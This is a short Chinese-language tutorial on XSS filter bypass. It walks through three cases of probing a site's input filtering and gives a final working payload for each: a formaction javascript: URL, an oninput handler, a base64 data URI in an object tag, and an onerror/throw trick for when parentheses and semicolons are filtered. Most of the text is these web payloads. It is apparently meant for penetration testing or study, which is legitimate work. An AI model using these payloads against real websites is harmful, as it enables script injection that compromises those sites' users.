案例一
1、简单输入998判断出用户可控点。
2、输入特殊字符{“<>?/‘}判断出过滤情况。
3、输入标签、事件等判断过滤情况。
大概是正则黑名单。
危险事件结合等号就过滤。
src 直接删除
alert后面()才会过滤为空
标签只要有结尾符>直接过滤为空
·······
4、最终Payload
Fuzzing出未过滤事件 from action 利用 重音符(’) 替换圆括号
"/><input type=”submit” formaction=Javascript:alert998//
Fuzzing出未过滤事件 oninput事件 <font color=red>利用浏览器特性补全标签
或者:
“><input type=”text” oninput=”prompt(998)”<
案例二
1、简单输入998判断出用户可控点
2、一部分字符转义,一部分标签过滤
3、fuzzing出object标签未过滤
最终Payload
998"/<objectdata="data:text/html;base64,PHNjcmlwdD5hbGVydCg5OTgpPC9zY3JpcHQBIZ_PLUSFLAG">998<!--
案例三
圆括号和分号被过滤
1 它的工作原理是将onerror处理程序设置为您要调用的函数,该throw语句用于将参数传递给函数:
payload:
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
onerror每次创建JavaScript异常时都会调用该处理程序,并且该throw语句允许您创建包含发送到onerror处理程序的表达式的自定义异常。因为throw是一个语句,所以通常需要onerror使用分号来完成赋值,以便开始一个新的语句而不是形成一个表达式。
2 因为throw语句接受一个表达式,所以你可以onerror在throw语句中进行赋值, 并且因为表达式的最后一部分被发送到onerror处理程序,所以将使用所选参数调用该函数
<script>throw onerror=alert,'some string',123,'haha'</script>
ps:部分资料参考自互联网